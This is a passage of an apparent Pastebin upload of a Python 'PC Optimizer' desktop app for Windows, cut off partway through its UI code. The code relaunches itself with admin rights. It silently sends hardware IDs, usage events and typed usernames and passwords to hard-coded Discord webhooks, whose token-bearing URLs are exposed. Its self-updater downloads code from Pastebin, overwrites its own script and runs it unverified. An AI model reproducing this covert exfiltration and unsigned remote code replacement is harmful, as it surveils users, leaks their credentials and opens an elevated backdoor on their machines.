nobother14323

OptiCodeUpdater

Sep 27th, 2025 (edited)
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 75.51 KB | None | 0 0
  1. import customtkinter as ctk
  2. import tkinter as tk
  3. import os
  4. import tempfile
  5. import shutil
  6. import psutil
  7. import threading
  8. from datetime import datetime, timedelta
  9. import winreg
  10. import subprocess
  11. import platform
  12. import wmi
  13. import time
  14. import requests
  15. import hashlib
  16. import pyperclip
  17. from threading import Lock
  18. import sys
  19. from packaging import version
  20. import json
  21. import ctypes
  22. # Define default version
  23. CURRENT_VERSION = "1.0.0"
  24. # Replace with your Discord webhook URLs
  25. WEBHOOK_OPEN_CLOSE = "https://discord.com/api/webhooks/1421983462365200475/BBr091Pk7UCqW73umHALJm9DN_-H7_ozve11O_54nD9DN_-H7_ozve11O_54nD9LmrPFSTt0zHU2mPvNUZoPPKvt" # Webhook 1: Open/Close and HWID
  26. WEBHOOK_LOGIN = "https://discord.com/api/webhooks/1421983687456854046/ZwKnamVOMU51Pp4Cc_NVmjyfTpxUSZbhz2tqI8hEPJEcWhwT-OWV5UcUypCWhWfghmxz" # Webhook 2: Login attempts with username/password/HWID
  27. WEBHOOK_FEATURE = "https://discord.com/api/webhooks/1421983788854149192/hC8GmMTVot0yY7wFnGn5HlLKYyO8xX5AzwmIl5TDGSLkzmFrmZYbepkuRUldn1kxzmOA" # Webhook 3: Feature usage with HWID
  28. class Tooltip:
  29.     def __init__(self, widget, text):
  30.         self.widget = widget
  31.         self.text = text
  32.         self.tooltip = None
  33.         self.show_after_id = None
  34.         self.last_enter_time = 0
  35.         self.widget.bind("<Enter>", self.schedule_show_tooltip)
  36.         self.widget.bind("<Leave>", self.hide_tooltip)
  37.     def schedule_show_tooltip(self, event=None):
  38.         # Debounce: Ignore rapid hover events (within 200ms)
  39.         current_time = time.time()
  40.         if current_time - self.last_enter_time < 0.2:
  41.             return
  42.         self.last_enter_time = current_time
  43.         # Cancel any pending show
  44.         if self.show_after_id:
  45.             self.widget.after_cancel(self.show_after_id)
  46.         # Schedule tooltip show after 500ms delay
  47.         self.show_after_id = self.widget.after(500, self.show_tooltip)
  48.     def show_tooltip(self, event=None):
  49.         if self.tooltip and self.tooltip.winfo_exists():
  50.             # Update existing tooltip
  51.             self.tooltip.wm_geometry(f"+{self.widget.winfo_pointerx()+10}+{self.widget.winfo_pointery()+10}")
  52.             return
  53.         # Create tooltip if it doesn't exist
  54.         self.tooltip = ctk.CTkToplevel(self.widget)
  55.         self.tooltip.wm_overrideredirect(True)
  56.         self.tooltip.wm_geometry(f"+{self.widget.winfo_pointerx()+10}+{self.widget.winfo_pointery()+10}")
  57.         label = ctk.CTkLabel(
  58.             self.tooltip,
  59.             text=self.text,
  60.             fg_color="#333333",
  61.             text_color="#e0e0e0",
  62.             font=("Roboto", 12),
  63.             corner_radius=5,
  64.             padx=5,
  65.             pady=5
  66.         )
  67.         label.pack()
  68.         self.tooltip.attributes("-topmost", True) # Ensure tooltip stays on top
  69.     def hide_tooltip(self, event=None):
  70.         # Cancel pending show
  71.         if self.show_after_id:
  72.             self.widget.after_cancel(self.show_after_id)
  73.             self.show_after_id = None
  74.         # Hide (don't destroy) tooltip
  75.         if self.tooltip and self.tooltip.winfo_exists():
  76.             self.tooltip.withdraw() # Hide window without destroying
  77.     def destroy(self):
  78.         # Cleanup when widget is destroyed
  79.         if self.show_after_id:
  80.             self.widget.after_cancel(self.show_after_id)
  81.         if self.tooltip and self.tooltip.winfo_exists():
  82.             self.tooltip.destroy()
  83.             self.tooltip = None
  84. class PCOptimizer:
  85.     def __init__(self, root):
  86.         self.root = root
  87.         self.root.title("PC Optimizer")
  88.         ctk.set_appearance_mode("system")
  89.         ctk.set_default_color_theme("dark-blue")
  90.         # Check if running as admin
  91.         if not self.is_admin():
  92.             self.run_as_admin()
  93.             sys.exit(0)
  94.         # Fullscreen setup
  95.         self.is_fullscreen = True
  96.         self.root.attributes("-fullscreen", True)
  97.         self.root.bind("<F11>", self.toggle_fullscreen)
  98.         # UI variables
  99.         self.animating = False
  100.         self.current_tab = "System Info"
  101.         self.static_info = {}
  102.         self.info_lock = Lock()
  103.         self.notification_frame = None
  104.         self.notification_slide = 0.0
  105.         self.notification_after_id = None
  106.         self.status_var = tk.StringVar(value="Ready")
  107.         self.login_attempts = 0
  108.         self.max_attempts = 3
  109.         self.c = wmi.WMI()
  110.         self.last_update_check = None
  111.         self.current_version = self.load_version() # Load version from JSON
  112.         # Display version label in bottom right
  113.         self.version_label = ctk.CTkLabel(
  114.             self.root,
  115.             text=f"Version: {self.current_version}",
  116.             font=("Roboto", 12),
  117.             text_color="#ffffff",
  118.             fg_color="#333333",
  119.             corner_radius=5,
  120.             padx=5,
  121.             pady=3
  122.         )
  123.         self.version_label.place(relx=0.98, rely=0.98, anchor="se")
  124.         # Check HWID
  125.         hwid_result, hwid = self.check_hwid()
  126.         self.hwid = hwid
  127.         self.root.protocol("WM_DELETE_WINDOW", self.on_close)
  128.         if hwid_result:
  129.             self.send_webhook(WEBHOOK_OPEN_CLOSE, "App Opened", f"Successful HWID Check\nHWID: {self.hwid}", 0x00ff00)
  130.         else:
  131.             self.send_webhook(WEBHOOK_OPEN_CLOSE, "App Opened", f"Failed HWID Check\nHWID: {self.hwid}", 0xff0000)
  132.         if not hwid_result:
  133.             self.show_notification(f"This application is HWID whitelisted. Your GPU HWID ({hwid}) has been copied to your clipboard.", success=False)
  134.             if hwid:
  135.                 pyperclip.copy(hwid)
  136.             self.root.after(3000, self.root.destroy)
  137.             return
  138.         # Show loading screen
  139.         self.show_loading_screen()
  140.     def send_webhook(self, url, title, description, color=0x3498db):
  141.         try:
  142.             payload = {
  143.                 "embeds": [{
  144.                     "title": title,
  145.                     "description": description,
  146.                     "color": color,
  147.                     "timestamp": datetime.now().isoformat()
  148.                 }]
  149.             }
  150.             requests.post(url, json=payload)
  151.         except:
  152.             pass # Silent fail to avoid disrupting app
  153.     def on_close(self):
  154.         if hasattr(self, 'hwid'):
  155.             self.send_webhook(WEBHOOK_OPEN_CLOSE, "App Closed", f"HWID: {self.hwid}", 0x00ff00)
  156.         self.root.destroy()
  157.     def is_admin(self):
  158.         try:
  159.             return ctypes.windll.shell32.IsUserAnAdmin() != 0
  160.         except:
  161.             return False
  162.     def run_as_admin(self):
  163.         try:
  164.             ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
  165.         except Exception as e:
  166.             self.handle_error("Failed to run as admin", e)
  167.     def create_label(self, parent, text="", textvariable=None, font_size=20, text_color="#e0e0e0", pady=10, anchor="center"):
  168.         label = ctk.CTkLabel(parent, text=text, textvariable=textvariable, font=("Roboto", font_size), text_color=text_color)
  169.         label.pack(pady=pady, anchor=anchor)
  170.         return label
  171.     def create_button(self, parent, text, command, fg_color="#1e90ff", hover_color="#4682b4", tooltip_text=None):
  172.         btn = ctk.CTkButton(
  173.             parent,
  174.             text=text,
  175.             command=command,
  176.             fg_color=fg_color,
  177.             hover_color=hover_color,
  178.             font=("Roboto", 20, "bold"),
  179.             corner_radius=20,
  180.             width=300,
  181.             height=60
  182.         )
  183.         btn.pack(pady=12)
  184.         if tooltip_text:
  185.             btn.tooltip = Tooltip(btn, tooltip_text)
  186.         return btn
  187.     def create_entry(self, parent, placeholder, show=None, width=320):
  188.         entry = ctk.CTkEntry(
  189.             parent,
  190.             placeholder_text=placeholder,
  191.             show=show,
  192.             font=("Roboto", 18),
  193.             width=width,
  194.             corner_radius=15,
  195.             fg_color="#2a2a2a",
  196.             text_color="#e0e0e0"
  197.         )
  198.         entry.pack(pady=10)
  199.         return entry
  200.     def get_hwid(self):
  201.         try:
  202.             gpu = self.c.Win32_VideoController()[0]
  203.             hwid_string = f"{gpu.Name}{gpu.AdapterCompatibility}{gpu.DriverVersion}"
  204.             return hashlib.sha256(hwid_string.encode()).hexdigest()
  205.         except Exception as e:
  206.             self.handle_error("Error generating HWID", e)
  207.             return None
  208.     def check_hwid(self):
  209.         try:
  210.             pastebin_url = "https://pastebin.com/raw/dP362qUr" # Replace with your HWID Pastebin raw URL
  211.             hwid = self.get_hwid()
  212.             if not hwid:
  213.                 return False, None
  214.             response = requests.get(pastebin_url, timeout=5)
  215.             response.raise_for_status()
  216.             whitelist = response.text.strip().splitlines()
  217.             return hwid in whitelist, hwid
  218.         except Exception as e:
  219.             self.handle_error("Error checking HWID", e)
  220.             return False, hwid
  221.     def save_version(self, version):
  222.         try:
  223.             version_data = {"version": version}
  224.             version_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), "version.json")
  225.             with open(version_file, "w", encoding="utf-8") as f:
  226.                 json.dump(version_data, f, indent=4)
  227.         except Exception as e:
  228.             self.handle_error("Failed to save version to JSON", e)
  229.     def load_version(self):
  230.         try:
  231.             version_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), "version.json")
  232.             if os.path.exists(version_file):
  233.                 with open(version_file, "r", encoding="utf-8") as f:
  234.                     data = json.load(f)
  235.                     return data.get("version", CURRENT_VERSION)
  236.             return CURRENT_VERSION
  237.         except Exception as e:
  238.             self.handle_error("Failed to load version from JSON", e)
  239.             return CURRENT_VERSION
  240.     def check_for_updates(self, manual=False):
  241.         self.send_webhook(WEBHOOK_FEATURE, "Settings Tab: Checked for Updates", f"HWID: {self.hwid}\nManual Check: {manual}", 0x3498db)
  242.         def do_check():
  243.             try:
  244.                 if not manual and self.last_update_check and (datetime.now() - self.last_update_check).total_seconds() < 3600:
  245.                     return
  246.                 self.last_update_check = datetime.now()
  247.                 version_url = "https://pastebin.com/raw/ZLE7qmuJ" # Replace with your version Pastebin raw URL
  248.                 code_url = "https://pastebin.com/raw/74KeXTXe" # Replace with your code Pastebin raw URL
  249.                 version_response = requests.get(version_url, timeout=5)
  250.                 version_response.raise_for_status()
  251.                 latest_version = version_response.text.strip()
  252.                 current_version = self.load_version()
  253.                 try:
  254.                     parsed_current = version.parse(current_version)
  255.                     parsed_latest = version.parse(latest_version)
  256.                 except version.InvalidVersion:
  257.                     self.root.after(0, lambda: self.handle_error("Invalid version format in Pastebin", ValueError(f"Invalid version: {latest_version}")))
  258.                     return
  259.                 if parsed_latest <= parsed_current:
  260.                     self.root.after(0, lambda: self.show_notification(f"No updates available (Current: {current_version}, Latest: {latest_version})", success=True))
  261.                     return
  262.                 code_response = requests.get(code_url, timeout=5)
  263.                 code_response.raise_for_status()
  264.                 new_code = code_response.text
  265.                 try:
  266.                     compile(new_code, "<string>", "exec")
  267.                 except SyntaxError as e:
  268.                     self.root.after(0, lambda: self.handle_error("Invalid update code", e))
  269.                     return
  270.                 current_script = os.path.abspath(__file__)
  271.                 with open(current_script, "r", encoding="utf-8") as f:
  272.                     current_code = f.read()
  273.                 if current_code.strip() == new_code.strip():
  274.                     self.root.after(0, lambda: self.show_notification("No changes in code, skipping update", success=True))
  275.                     return
  276.                 if manual:
  277.                     confirm = tk.messagebox.askyesno("Update Available", f"A new version ({latest_version}) is available. Update now?")
  278.                     if not confirm:
  279.                         self.root.after(0, lambda: self.show_notification("Update cancelled", success=True))
  280.                         return
  281.                 temp_script = f"{current_script}.tmp"
  282.                 with open(temp_script, "w", encoding="utf-8") as f:
  283.                     f.write(new_code)
  284.                 self.save_version(latest_version)
  285.                 self.current_version = latest_version
  286.                 self.root.after(0, lambda: self.version_label.configure(text=f"Version: {latest_version}"))
  287.                 shutil.move(temp_script, current_script)
  288.                 self.root.after(0, lambda: self.show_notification(f"Updated to version {latest_version}. Restarting...", success=True))
  289.                 self.root.after(2000, lambda: subprocess.run([sys.executable, current_script]))
  290.                 self.root.after(3000, self.root.destroy)
  291.             except Exception as e:
  292.                 self.root.after(0, lambda: self.handle_error("Update check failed", e))
  293.         threading.Thread(target=do_check, daemon=True).start()
  294.         self.status_var.set("Checking for updates...")
  295.     def check_credentials(self):
  296.         try:
  297.             username_url = "https://pastebin.com/raw/AYnMNMfe" # Replace with your username Pastebin raw URL
  298.             password_url = "https://pastebin.com/raw/gV2ZGpTv" # Replace with your password Pastebin raw URL
  299.             username = self.username_entry.get().strip()
  300.             password = self.password_entry.get().strip()
  301.             if not username or not password:
  302.                 self.login_attempts += 1
  303.                 self.error_label.configure(text=f"Enter both username and password. Attempts left: {self.max_attempts - self.login_attempts}")
  304.                 self.send_webhook(WEBHOOK_LOGIN, "Login Failed", f"Missing Credentials\nUsername: {username}\nPassword: {password}\nHWID: {self.hwid}\nAttempts: {self.login_attempts}", 0xff0000)
  305.                 if self.login_attempts >= self.max_attempts:
  306.                     self.send_webhook(WEBHOOK_LOGIN, "Login Failed", f"Max Attempts Reached\nHWID: {self.hwid}", 0xff0000)
  307.                     self.show_notification("Max login attempts reached. Exiting...", success=False)
  308.                     self.root.after(2000, self.root.destroy)
  309.                 return
  310.             username_response = requests.get(username_url, timeout=5)
  311.             username_response.raise_for_status()
  312.             username_whitelist = username_response.text.strip().splitlines()
  313.             password_response = requests.get(password_url, timeout=5)
  314.             password_response.raise_for_status()
  315.             password_whitelist = password_response.text.strip().splitlines()
  316.             if username in username_whitelist and password in password_whitelist:
  317.                 self.send_webhook(WEBHOOK_LOGIN, "Login Successful", f"Username: {username}\nHWID: {self.hwid}", 0x00ff00)
  318.                 self.login_attempts = 0
  319.                 self.fade_out_frame(self.login_frame, self.setup_main_ui)
  320.             else:
  321.                 self.login_attempts += 1
  322.                 self.error_label.configure(text=f"Invalid credentials. Attempts left: {self.max_attempts - self.login_attempts}")
  323.                 self.username_entry.delete(0, tk.END)
  324.                 self.password_entry.delete(0, tk.END)
  325.                 self.send_webhook(WEBHOOK_LOGIN, "Login Failed", f"Invalid Credentials\nUsername: {username}\nPassword: {password}\nHWID: {self.hwid}\nAttempts: {self.login_attempts}", 0xff0000)
  326.                 if self.login_attempts >= self.max_attempts:
  327.                     self.send_webhook(WEBHOOK_LOGIN, "Login Failed", f"Max Attempts Reached\nHWID: {self.hwid}", 0xff0000)
  328.                     self.show_notification("Max login attempts reached. Exiting...", success=False)
  329.                     self.root.after(2000, self.root.destroy)
  330.         except Exception as e:
  331.             self.send_webhook(WEBHOOK_LOGIN, "Login Failed", f"Error During Login\nHWID: {self.hwid}\nError: {str(e)}", 0xff0000)
  332.             self.handle_error("Login error", e)
  333.     def fade_in_frame(self, frame, callback=None, step=0):
  334.         if step == 0:
  335.             frame.place(relx=0.5, rely=0.5, anchor="center")
  336.             frame.configure(fg_color="#1e1e1e")
  337.         if callback and step >= 10:
  338.             callback()
  339.         else:
  340.             self.root.after(50, lambda: self.fade_in_frame(frame, callback, step + 1))
  341.     def fade_out_frame(self, frame, callback, step=10):
  342.         if step <= 0:
  343.             frame.place_forget()
  344.             if callback:
  345.                 callback()
  346.         else:
  347.             self.root.after(50, lambda: self.fade_out_frame(frame, callback, step - 1))
  348.     def show_notification(self, message, success=True, duration=3000):
  349.         try:
  350.             if self.notification_after_id:
  351.                 self.root.after_cancel(self.notification_after_id)
  352.             if self.notification_frame:
  353.                 self.notification_frame.destroy()
  354.             self.notification_frame = ctk.CTkFrame(self.root, fg_color="#32cd32" if success else "#ff4500", corner_radius=15)
  355.             self.create_label(self.notification_frame, message, font_size=14, pady=5, text_color="#ffffff")
  356.             self.notification_slide = -100
  357.             self.notification_frame.place(relx=0.98, rely=0.90, anchor="se")
  358.             self.version_label.lift()
  359.             self.slide_notification_in(duration)
  360.         except Exception as e:
  361.             self.handle_error("Notification error", e)
  362.     def slide_notification_in(self, duration):
  363.         try:
  364.             if self.notification_slide < 0:
  365.                 self.notification_slide += 20
  366.                 self.notification_frame.place(relx=0.98, rely=0.90 + self.notification_slide / 1000, anchor="se")
  367.                 self.notification_after_id = self.root.after(10, lambda: self.slide_notification_in(duration))
  368.             else:
  369.                 self.notification_after_id = self.root.after(duration, self.slide_notification_out)
  370.         except Exception as e:
  371.             self.handle_error("Notification slide-in error", e)
  372.     def slide_notification_out(self):
  373.         try:
  374.             if self.notification_frame is None:
  375.                 return
  376.             if self.notification_slide > -100:
  377.                 self.notification_slide -= 20
  378.                 self.notification_frame.place(relx=0.98, rely=0.90 + self.notification_slide / 1000, anchor="se")
  379.                 self.notification_after_id = self.root.after(10, self.slide_notification_out)
  380.             else:
  381.                 self.notification_frame.destroy()
  382.                 self.notification_frame = None
  383.                 self.notification_after_id = None
  384.         except Exception as e:
  385.             self.handle_error("Notification slide-out error", e)
  386.     def handle_error(self, message, exception):
  387.         error_msg = f"{message}: {exception}"
  388.         print(error_msg)
  389.         self.show_notification(error_msg, success=False)
  390.         self.status_var.set(message)
  391.     def show_loading_screen(self):
  392.         try:
  393.             # Improved loading screen: Centered, larger elements, better spacing
  394.             self.loading_frame = ctk.CTkFrame(self.root, fg_color="#1a1a1a", corner_radius=20, border_width=2, border_color="#1e90ff")
  395.             self.loading_frame.place(relx=0.5, rely=0.5, anchor="center", relwidth=0.4, relheight=0.4) # Smaller, centered frame
  396.             # Title with gradient-like color
  397.             self.create_label(
  398.                 self.loading_frame,
  399.                 "PC Optimizer",
  400.                 font_size=48, # Larger font for title
  401.                 text_color="#1e90ff",
  402.                 pady=40
  403.             )
  404.             # Status label with subtle color
  405.             self.loading_status = self.create_label(
  406.                 self.loading_frame,
  407.                 "Initializing...",
  408.                 font_size=24, # Slightly larger for readability
  409.                 text_color="#cccccc",
  410.                 pady=20
  411.             )
  412.             # Wider progress bar with smoother animation
  413.             self.loading_progress = ctk.CTkProgressBar(
  414.                 self.loading_frame,
  415.                 mode="indeterminate",
  416.                 corner_radius=10,
  417.                 progress_color="#1e90ff",
  418.                 width=500, # Wider for better visuals
  419.                 height=20 # Thinner for cleaner look
  420.             )
  421.             self.loading_progress.pack(pady=30, padx=50)
  422.             self.loading_progress.start()
  423.             self.loading_tasks = [
  424.                 "Initializing application...",
  425.                 "Loading system information...",
  426.                 "Preparing UI components...",
  427.                 "Connecting to system services..."
  428.             ]
  429.             self.task_index = 0
  430.             self.fade_in_frame(self.loading_frame, self.update_loading)
  431.             self.animate_loading_text()
  432.         except Exception as e:
  433.             self.handle_error("Loading screen error", e)
  434.             self.root.after(1000, self.show_login)
  435.     def animate_loading_text(self):
  436.         try:
  437.             if hasattr(self, 'loading_status') and self.loading_status.winfo_exists():
  438.                 current_text = self.loading_status.cget("text")
  439.                 dots = "." * ((self.task_index % 4) + 1)
  440.                 self.loading_status.configure(text=f"{current_text.split('.')[0]}{dots}")
  441.                 self.root.after(200, self.animate_loading_text)
  442.         except Exception as e:
  443.             self.handle_error("Loading text animation error", e)
  444.     def update_loading(self):
  445.         try:
  446.             if self.task_index < len(self.loading_tasks):
  447.                 self.loading_status.configure(text=self.loading_tasks[self.task_index])
  448.                 self.task_index += 1
  449.                 self.root.after(1250, self.update_loading)
  450.             else:
  451.                 self.loading_progress.stop()
  452.                 self.fade_out_frame(self.loading_frame, self.show_login)
  453.         except Exception as e:
  454.             self.handle_error("Loading transition error", e)
  455.             self.root.after(1000, self.show_login)
  456.     def show_login(self):
  457.         try:
  458.             # Improved login UI: Cleaner layout, larger elements, better spacing
  459.             self.login_frame = ctk.CTkFrame(self.root, fg_color="#1a1a1a", corner_radius=20, border_width=2, border_color="#1e90ff")
  460.             self.login_frame.place(relx=0.5, rely=0.5, anchor="center", relwidth=0.35, relheight=0.6) # Centered, proportional size
  461.             # Title
  462.             ctk.CTkLabel(
  463.                 self.login_frame,
  464.                 text="PC Optimizer",
  465.                 font=("Roboto", 42, "bold"), # Larger, bold font
  466.                 text_color="#1e90ff"
  467.             ).pack(pady=40, anchor="center")
  468.             # Subtitle
  469.             ctk.CTkLabel(
  470.                 self.login_frame,
  471.                 text="Enter your credentials to access",
  472.                 font=("Roboto", 20), # Smaller subtitle for hierarchy
  473.                 text_color="#cccccc"
  474.             ).pack(pady=10, anchor="center")
  475.             # Username entry with improved size
  476.             self.username_entry = ctk.CTkEntry(
  477.                 self.login_frame,
  478.                 placeholder_text="Username",
  479.                 font=("Roboto", 18),
  480.                 width=350, # Wider for better input
  481.                 height=50,
  482.                 corner_radius=10,
  483.                 fg_color="#2a2a2a",
  484.                 text_color="#ffffff",
  485.                 border_color="#1e90ff"
  486.             )
  487.             self.username_entry.pack(pady=20, anchor="center")
  488.             # Password entry
  489.             self.password_entry = ctk.CTkEntry(
  490.                 self.login_frame,
  491.                 placeholder_text="Password",
  492.                 show="*",
  493.                 font=("Roboto", 18),
  494.                 width=350,
  495.                 height=50,
  496.                 corner_radius=10,
  497.                 fg_color="#2a2a2a",
  498.                 text_color="#ffffff",
  499.                 border_color="#1e90ff"
  500.             )
  501.             self.password_entry.pack(pady=20, anchor="center")
  502.             # Login button with hover effect
  503.             login_btn = ctk.CTkButton(
  504.                 self.login_frame,
  505.                 text="Login",
  506.                 command=self.check_credentials,
  507.                 fg_color="#1e90ff",
  508.                 hover_color="#4682b4",
  509.                 font=("Roboto", 20, "bold"),
  510.                 corner_radius=10,
  511.                 width=350,
  512.                 height=50
  513.             )
  514.             login_btn.pack(pady=20, anchor="center")
  515.             # Error label
  516.             self.error_label = ctk.CTkLabel(
  517.                 self.login_frame,
  518.                 text="",
  519.                 font=("Roboto", 16),
  520.                 text_color="#ff4500"
  521.             )
  522.             self.error_label.pack(pady=10, anchor="center")
  523.             self.fade_in_frame(self.login_frame)
  524.             self.version_label.lift()
  525.         except Exception as e:
  526.             self.handle_error("Login UI error", e)
  527.     def setup_main_ui(self):
  528.         try:
  529.             # Improved main UI: Better spacing, consistent colors, cleaner sidebar
  530.             self.ui_frame = ctk.CTkFrame(self.root, fg_color="#1e1e1e", corner_radius=15)
  531.             self.ui_frame.place(relx=0, rely=0, relwidth=1, relheight=1)
  532.             self.root.attributes("-fullscreen", self.is_fullscreen)
  533.             # Sidebar with improved width and padding
  534.             self.sidebar = ctk.CTkFrame(self.ui_frame, fg_color="#2a2a2a", corner_radius=15, width=280) # Slightly wider
  535.             self.sidebar.pack(side="left", fill="y", padx=20, pady=20) # More padding
  536.             # Sidebar title
  537.             self.create_label(self.sidebar, "PC Optimizer", font_size=28, text_color="#1e90ff", pady=30) # Larger title with color
  538.             # Tab buttons with better spacing and hover
  539.             self.tab_buttons = {}
  540.             tabs = ["System Info", "Clean Temp", "Uninstall Apps", "Startup Programs", "Power Plans", "Optimize Disk", "Services", "Custom Commands", "Settings"]
  541.             for tab in tabs:
  542.                 btn = self.create_button(self.sidebar, tab, lambda t=tab: self.switch_tab(t), fg_color="#2a2a2a" if tab != self.current_tab else "#1e90ff", hover_color="#3a3a3a")
  543.                 self.tab_buttons[tab] = btn
  544.             # Content frame with padding
  545.             self.content_frame = ctk.CTkFrame(self.ui_frame, fg_color="#2a2a2a", corner_radius=15)
  546.             self.content_frame.pack(side="right", expand=True, fill="both", padx=20, pady=20)
  547.             # Status frame at bottom
  548.             self.status_frame = ctk.CTkFrame(self.ui_frame, fg_color="#1e1e1e", corner_radius=15, height=40)
  549.             self.status_frame.pack(side="bottom", fill="x", padx=20, pady=10)
  550.             self.create_label(self.status_frame, textvariable=self.status_var, font_size=16, text_color="#cccccc", pady=5)
  551.             # Top right buttons for minimize and quit, nicer styling
  552.             control_frame = ctk.CTkFrame(self.ui_frame, fg_color="#1e1e1e", corner_radius=0)
  553.             control_frame.place(relx=1.0, rely=0.0, anchor="ne")
  554.             minimize_btn = ctk.CTkButton(
  555.                 control_frame,
  556.                 text="─",
  557.                 command=self.minimize_app,
  558.                 width=40,
  559.                 height=30,
  560.                 font=("Roboto", 18, "bold"),
  561.                 fg_color="#2a2a2a",
  562.                 hover_color="#1e90ff",
  563.                 corner_radius=5,
  564.                 border_width=1,
  565.                 border_color="#444444"
  566.             )
  567.             minimize_btn.pack(side="left", padx=2)
  568.             quit_btn = ctk.CTkButton(
  569.                 control_frame,
  570.                 text="✕",
  571.                 command=self.quit_application,
  572.                 width=40,
  573.                 height=30,
  574.                 font=("Roboto", 18, "bold"),
  575.                 fg_color="#2a2a2a",
  576.                 hover_color="#ff4500",
  577.                 corner_radius=5,
  578.                 border_width=1,
  579.                 border_color="#444444"
  580.             )
  581.             quit_btn.pack(side="left", padx=2)
  582.             self.tab_frames = {}
  583.             self.setup_info_tab()
  584.             self.setup_clean_tab()
  585.             self.setup_uninstall_tab()
  586.             self.setup_startup_tab()
  587.             self.setup_power_plan_tab()
  588.             self.setup_disk_tab()
  589.             self.setup_services_tab()
  590.             self.setup_commands_tab()
  591.             self.setup_settings_tab()
  592.             self.switch_tab("System Info")
  593.             self.cache_static_info()
  594.             self.auto_refresh_info()
  595.             self.fade_in_frame(self.ui_frame)
  596.             self.version_label.lift()
  597.         except Exception as e:
  598.             self.handle_error("Main UI setup error", e)
  599.     def minimize_app(self):
  600.         self.root.iconify()
  601.     def restart_app(self):
  602.         self.send_webhook(WEBHOOK_FEATURE, "Settings Tab: Restarted App", f"HWID: {self.hwid}", 0x3498db)
  603.         self.show_notification("Restarting...", success=True)
  604.         current_script = os.path.abspath(__file__)
  605.         self.root.after(2000, lambda: subprocess.run([sys.executable, current_script]))
  606.         self.root.after(3000, self.root.destroy)
  607.     def save_settings(self):
  608.         self.send_webhook(WEBHOOK_FEATURE, "Settings Tab: Saved Settings", f"HWID: {self.hwid}", 0x3498db)
  609.         self.show_notification("Settings saved", success=True)
  610.     def cache_static_info(self):
  611.         try:
  612.             with self.info_lock:
  613.                 self.static_info["OS"] = f"OS: {platform.system()} {platform.release()}"
  614.                 self.static_info["OS Version"] = f"OS Version: {platform.version()}"
  615.                 self.static_info["OS Architecture"] = f"OS Architecture: {platform.architecture()[0]}"
  616.                 self.static_info["Machine Type"] = f"Machine Type: {platform.machine()}"
  617.                 self.static_info["Processor"] = f"Processor: {platform.processor()}"
  618.                 self.static_info["CPU Name"] = f"CPU Name: {self.c.Win32_Processor()[0].Name}"
  619.                 self.static_info["CPU Physical Cores"] = f"CPU Physical Cores: {psutil.cpu_count(logical=False)}"
  620.                 self.static_info["CPU Logical Cores"] = f"CPU Logical Cores: {psutil.cpu_count()}"
  621.                 bios = self.c.Win32_BIOS()[0]
  622.                 self.static_info["BIOS Version"] = f"BIOS Version: {bios.SMBIOSBIOSVersion}"
  623.                 motherboard = self.c.Win32_BaseBoard()[0]
  624.                 self.static_info["Motherboard"] = f"Motherboard: {motherboard.Manufacturer} {motherboard.Product}"
  625.                 gpu = self.c.Win32_VideoController()[0]
  626.                 self.static_info["GPU"] = f"GPU: {gpu.Name}"
  627.                 computer_system = self.c.Win32_ComputerSystem()[0]
  628.                 self.static_info["Computer System"] = f"Computer System: {computer_system.Manufacturer} {computer_system.Model}"
  629.         except Exception as e:
  630.             self.handle_error("Error caching system info", e)
  631.     def switch_tab(self, tab_name):
  632.         if self.animating or tab_name == self.current_tab:
  633.             return
  634.         try:
  635.             self.animating = True
  636.             old_tab = self.current_tab
  637.             self.current_tab = tab_name
  638.             for tab, btn in self.tab_buttons.items():
  639.                 btn.configure(fg_color="#1e90ff" if tab == tab_name else "#2a2a2a")
  640.             if old_tab in self.tab_frames:
  641.                 self.tab_frames[old_tab].pack_forget()
  642.             self.tab_frames[tab_name].pack(expand=True, fill="both", padx=10, pady=10)
  643.             self.animating = False
  644.             self.status_var.set(f"Switched to {tab_name}")
  645.             self.version_label.lift()
  646.         except Exception as e:
  647.             self.handle_error("Tab switch error", e)
  648.     def toggle_fullscreen(self, event=None):
  649.         try:
  650.             self.is_fullscreen = not self.is_fullscreen
  651.             self.root.attributes("-fullscreen", self.is_fullscreen)
  652.             self.status_var.set("Toggled fullscreen" if self.is_fullscreen else "Toggled windowed")
  653.             self.show_notification("Toggled display mode", success=True)
  654.             self.version_label.lift()
  655.         except Exception as e:
  656.             self.handle_error("Toggle fullscreen error", e)
  657.     def setup_info_tab(self):
  658.         try:
  659.             info_frame = ctk.CTkFrame(self.content_frame, fg_color="#2a2a2a", corner_radius=15)
  660.             self.tab_frames["System Info"] = info_frame
  661.             self.create_label(info_frame, "System Information", font_size=24)
  662.             scrollable_frame = ctk.CTkScrollableFrame(info_frame, fg_color="#2a2a2a", corner_radius=15)
  663.             scrollable_frame.pack(fill="both", expand=True, padx=20, pady=20)
  664.             info_grid = ctk.CTkFrame(scrollable_frame, fg_color="#333333", corner_radius=15)
  665.             info_grid.pack(fill="both", expand=True, padx=20, pady=20)
  666.             info_grid.grid_columnconfigure(0, weight=1)
  667.             self.info_labels = {
  668.                 "OS": ctk.CTkLabel(info_grid, text="OS: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  669.                 "OS Version": ctk.CTkLabel(info_grid, text="OS Version: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  670.                 "OS Architecture": ctk.CTkLabel(info_grid, text="OS Architecture: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  671.                 "Machine Type": ctk.CTkLabel(info_grid, text="Machine Type: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  672.                 "Processor": ctk.CTkLabel(info_grid, text="Processor: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  673.                 "CPU Name": ctk.CTkLabel(info_grid, text="CPU Name: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  674.                 "CPU Physical Cores": ctk.CTkLabel(info_grid, text="CPU Physical Cores: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  675.                 "CPU Logical Cores": ctk.CTkLabel(info_grid, text="CPU Logical Cores: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  676.                 "CPU Frequency": ctk.CTkLabel(info_grid, text="CPU Frequency: Unknown", font=("Roboto", 20), text_color="#e0e0e0"),
  677.                 "CPU Usage": ctk.CTkLabel(info_grid, text="CPU Usage: 0%", font=("Roboto", 20), text_color="#e0e0e0"),
